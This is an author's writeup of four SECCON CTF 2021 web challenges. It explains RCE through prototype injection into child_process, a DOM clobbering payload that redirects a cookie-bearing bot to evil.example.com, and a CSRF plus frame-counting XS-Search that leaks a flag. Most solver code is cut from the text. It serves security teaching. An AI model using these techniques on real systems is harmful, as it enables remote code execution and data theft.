SECCON CTF 2021: Author writeups (4 web challenges)
Thank you for playing SECCON CTF 2021! I hope you had fun.
I created the following web challenges in the CTF:
This post describes author writeups and unintended solutions[1] for the above 4 challenges.
If you know other solutions, please report to me.
I added the source code and author's solvers to my-ctf-challenges repository.
Sequence as a Service 1
- 20 team solved / 205 pt
- https://github.com/arkark/my-ctf-challenges/tree/main/challenges/202112_SECCON_CTF_2021/web/sequence-as-a-service-1
Description:
I've heard that SaaS is very popular these days. So, I developed it, too. You can access it here.
Overview
In the endpoint /api/getValue
, you can post a pair of a sequence and an index (
The web service parse and evaluate the given sequence with LJSON in a subprocess.
LJSON provides a parse function and a stringify function for extended JSON with pure functions. Moreover, LJSON.parseWithLib(lib, ...)
enable to use functions in lib
.
1 | // index.js |
1 | // lib.js |
1 | // service.js |
The flag location is /flag.txt
in the remote server.
Solution
My solution is to gain RCE by injecting a function into the prototype of lib
.
1 | // solver/index.js (comments are added) |
Unintended Solutions
[ $("self").__proto__ = require('child_process')
]
[ Using a bug in the parser of LJSON ]
Sequence as a Service 2
- 19 team solved / 210 pt
- https://github.com/arkark/my-ctf-challenges/tree/main/challenges/202112_SECCON_CTF_2021/web/sequence-as-a-service-2
Description:
NEW FEATURE: You can get values from two sequences at the same time! Go here.
Overview
In the endpoint /api/getValue
, you can post two pairs of a sequence and an index (
1 | // index.js |
1 | // lib.js |
1 | // service.js |
This challenge differs from SaaS 1 in the following points:
lib
doesn't have the functionself
.- For each request,
LJSON.parseWithLib
is executed twice.
Solution
My solution is to gain RCE by Prototype Pollution.
1 | // solver/index.js |
LJSON.parse
disallows usage of variables that don't exist in the scope:
1 | // From: https://github.com/MaiaVictor/LJSON/blob/0c06399baddc08ede6457a59505e188ec0828dab/LJSON.js#L315-L324 |
However, by the above Prototype Pollution, you can use the variable (function) eval
although it doesn't exist in the scope.
Unintended Solutions
[ Prototype Pollution to Array.prototype.join
]
[ require('./lib.js').__proto__ = require('child_process')
]
[ Prototype Pollution using toString
defined as an impure function ]
1 | LJSON.stringify(($, map, n) => $(",", |
(reported from ./V)
[ Using a bug in LJSON's parser ]
Cookie Spinner
- 7 team solved / 322 pt
- https://github.com/arkark/my-ctf-challenges/tree/main/challenges/202112_SECCON_CTF_2021/web/cookie-spinner
Description:
Do you like cookies? If so, go here now!
Overview
This challenge provides the following web page:
1 | <!-- index.html --> |
You can modify {{VIEW}}
with query parameter view
. So, it enables content injection. However, you cannot attack with XSS by CSP:
1 | app.use((req, res, next) => { |
In this challenge, you can report a URL and then a bot accesses it with a flag cookie.
Solution
This challenge is a DOM Clobbering puzzle. The goal is as follows:
- No errors occur.
window2 === window3
is true.window1.location.origin
can be changed as you like. So, you can make the bot redirect to your server.
My intended DOM Clobbering:
1 | const SECCON_URL = /* the URL of the challenge server */; |
The mechanism of this DOM Clobbering in Chrome is as follows.
Now, consider the following HTML and ?window=form
:
1 | <form> |
window.form
is an instance of HTMLCollection
because there are multiple elements with id="form"
. The instance has the <input>
element and the <a>
element.
window.form.form
is the<input>
element because it hasid="form"
attribute.window.form.form.form
is the<form>
element becauseHTMLInputElement
hasform
property.window.form.form.form.form
is the<input>
element.- ref. https://developer.mozilla.org/en-US/docs/Web/API/HTMLFormElement#properties
Named inputs are added to their owner form instance as properties, and can overwrite native properties if they share the same name (e.g. a form with an input named action will have its action property return that input instead of the form's action HTML attribute).
- ref. https://developer.mozilla.org/en-US/docs/Web/API/HTMLFormElement#properties
window.form.form.form.form.form
is the<form>
element.window.form.form.form.form.form.form
is the<input>
element.- ...
window2
is the<input>
element.- ...
window3
is the<input>
element.
Then, window2 === window3
is true.
window.form.location
is the<a>
element because it hasname="location"
attribute.window.form.location.origin
is"https://example.com"
becauseHTMLAnchorElement
hasorigin
property.window.form.location.pathname
is"/"
becauseHTMLAnchorElement
haspathname
property.
Then, the page is redirected to https://example.com/
.
Other Solutions
You can exploit with not form
property, but another property.
[ DOM Clobbering with parentNode
property ]
[ DOM Clobbering with parentElement
property ]
http://web:3000/?window=parentElement&view=<form id="parentElement" name="parentElement"><input name="parentElement"></form><a id="parentElement" name="location" href="http://evil.example.com/"></a>
(reported from ./V)
[ DOM Clobbering with ownerDocument
property without <form>
]
x-note
- 3 team solved / 428 pt
- https://github.com/arkark/my-ctf-challenges/tree/main/challenges/202112_SECCON_CTF_2021/web/x-note
Description:
Here is a secure note app!
Flag format:SECCON{[_0-9a-z]+}
Overview
This challenge provides a web service:
- A user can create an account, login, and logout.
- A user can post a note with a string.
- A user can search for notes that contain a string.
- A user can report a URL to a bot.
- The bot accesses it after creating an account and posting a flag note.
Solution
My solution is a XS-Search attack. The goal is to construct an oracle to judge the prefix of a flag.
Step 1: CSRF and posting object notes
You can make a bot post notes as objects by CSRF.
For example, if the form body is
1 | note[toString]=x¬e[a]=SECCON{a¬e[b]=SECCON{b¬e[c]=SECCON{c&... |
then the note is the following object:
1 | { |
Note the following:
- The note will cause an error when rendered in EJS because the
toString
is not a function. - The note will come up with searches for
?search=SECCON{a
,?search=SECCON{b
,?search=SECCON{c
, and so on.
Step 2: Two kinds of EJS rendering errors
There are two kinds of errors caused by note[toString]=x
in EJS rendering.
Error A (if the note is hit first for a search):
1 | /app/views/index.ejs:22 |
Error B (otherwise):
1 | /app/views/index.ejs:70 |
In this web servcie, if an error occurs, the request is redirected to an error page:
1 | app.use(function (err, req, res, _next) { |
This redirect is implemented without encoding (e.g. encodeURIComponent
). It means that the Error A adds a query parameter " filteredNotes"
to the redirected request:
1 | > require("qs").parse("msg=/app/views/index.ejs:22%0A%20%20%20%2020%7C%20%20%20%20%20%20%20%20%20%3Csection%20class=%22modal-card-body%22%3E%0A%20%20%20%2021%7C%20%20%20%20%20%20%20%20%20%20%20%3Carticle%20class=%22message%22%3E%0A%20%3E%3E%2022%7C%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cpre%20class=%22message-body%20is-dark%22%3E%3C%25=%0A%20%20%20%2023%7C%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20hitCount%20%3E%200%20&&%20filteredNotes[0]%20%7C%7C%20%27Not%20found%20...%27%0A%20%20%20%2024%7C%20%20%20%20%20%20%20%20%20%20%20%20%20%25%3E%3C/pre%3E%0A%20%20%20%2025%7C%20%20%20%20%20%20%20%20%20%20%20%3C/article%3E%0A%0ACannot%20convert%20object%20to%20primitive%20value&url=/?search=SECCON%7Ba") |
Step 3: Infinite redirects and finite redirects
The key factor in this step is a validation for request parameters:
1 | const hasTooLongParams = (params) => { |
Now, consider the following search URL:
1 | http://x-note-x.quals.seccon.jp:3000/?search=SECCON%7Ba&+filteredNotes=x&+filteredNotes[length]=100000 |
The redirected URL for Error A is
1 | http://x-note-x.quals.seccon.jp:3000/error?msg=/app/views/index.ejs:22%0A%20%20%20%2020%7C%20%20%20%20%20%20%20%20%20%3Csection%20class=%22modal-card-body%22%3E%0A%20%20%20%2021%7C%20%20%20%20%20%20%20%20%20%20%20%3Carticle%20class=%22message%22%3E%0A%20%3E%3E%2022%7C%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cpre%20class=%22message-body%20is-dark%22%3E%3C%25=%0A%20%20%20%2023%7C%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20hitCount%20%3E%200%20&&%20filteredNotes[0]%20%7C%7C%20%27Not%20found%20...%27%0A%20%20%20%2024%7C%20%20%20%20%20%20%20%20%20%20%20%20%20%25%3E%3C/pre%3E%0A%20%20%20%2025%7C%20%20%20%20%20%20%20%20%20%20%20%3C/article%3E%0A%0ACannot%20convert%20object%20to%20primitive%20value&url=/?search=SECCON%7Ba&+filteredNotes=x&+filteredNotes[length]=100000 |
Then, this query parameters are parsed as follows:
1 | > require("qs").parse("msg=/app/views/index.ejs:22%0A%20%20%20%2020%7C%20%20%20%20%20%20%20%20%20%3Csection%20class=%22modal-card-body%22%3E%0A%20%20%20%2021%7C%20%20%20%20%20%20%20%20%20%20%20%3Carticle%20class=%22message%22%3E%0A%20%3E%3E%2022%7C%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cpre%20class=%22message-body%20is-dark%22%3E%3C%25=%0A%20%20%20%2023%7C%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20hitCount%20%3E%200%20&&%20filteredNotes[0]%20%7C%7C%20%27Not%20found%20...%27%0A%20%20%20%2024%7C%20%20%20%20%20%20%20%20%20%20%20%20%20%25%3E%3C/pre%3E%0A%20%20%20%2025%7C%20%20%20%20%20%20%20%20%20%20%20%3C/article%3E%0A%0ACannot%20convert%20object%20to%20primitive%20value&url=/?search=SECCON%7Ba&+filteredNotes=x&+filteredNotes[length]=100000") |
The redirected request violates the validation for request parameters because req.query[" filteredNotes"].length > 500
is true. So, it is redirected to the error page again and the second redirected request also violates the validation. This means that infinite redirects will occur.
On the other hand, the query parameters of the redirected URL for Error B are parsed as follows:
1 | > require("qs").parse("msg=/app/views/index.ejs:70%0A%20%20%20%2068%7C%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%25%20notes.forEach((note)%20=%3E%20%7B%20%25%3E%0A%20%20%20%2069%7C%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Carticle%20class=%22message%22%3E%0A%20%3E%3E%2070%7C%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cpre%20class=%22message-body%22%3E%3C%25=%20note%20%25%3E%3C/pre%3E%0A%20%20%20%2071%7C%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C/article%3E%0A%20%20%20%2072%7C%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%25%20%7D);%20%25%3E%0A%20%20%20%2073%7C%20%20%20%20%20%20%20%20%20%20%20%3C/div%3E%0A%0ACannot%20convert%20object%20to%20primitive%20value&url=/?search=SECCON%7Ba&+filteredNotes=x&+filteredNotes[length]=100000") |
The redirected request passes the validation because req.query[" filteredNotes"].length > 500
is false.
Thus, the two kinds of errors can make the difference between infinite redirects and finite redirects.
Step 4: XS-Leak with frame counting
The templete of the error page is
1 | <!-- snip --> |
Because this page outputs unescaped msg
, you can cause Content Injection there. However, XSS Injection is banned by CSP:
1 | app.use((req, res, next) => { |
Now, consider the output of msg
contains <iframe></iframe>
.
If the error page is rendered, it increments window.length
. However, if infinite redirects occur, the page is not rendered and window.length
is not incremented.
By a well-known technique[2], you can access the window.length
from a cross-site page. So, you can detect whether infinite redirects have occurred.
Exploitation code
Therefore, you can construct an oracle to judge the prefix of a flag by combining the above steps.
You can steal the flag by serving the following pages on your server:
1 | <!-- index.html --> |
1 | <!-- post.html --> |
Unintended Solutions
[ Using <meta name="referrer" content="unsafe-url">
to judge the two kinds of EJS errors ]
- https://gist.github.com/parrot409/bc09cefe891708930200c8b61d3f5c16
- https://gist.github.com/po6ix/b3101d07d55a4506777f940eb5a2ad48
I welcome unintended solutions because they help me learn something and create diversity in the challenges (but, as an author, I should emit no unintended solutions to maintain the quality of challenges). âŠī¸
Frame Counting | XS-Leaks Wiki: https://xsleaks.dev/docs/attacks/frame-counting/ âŠī¸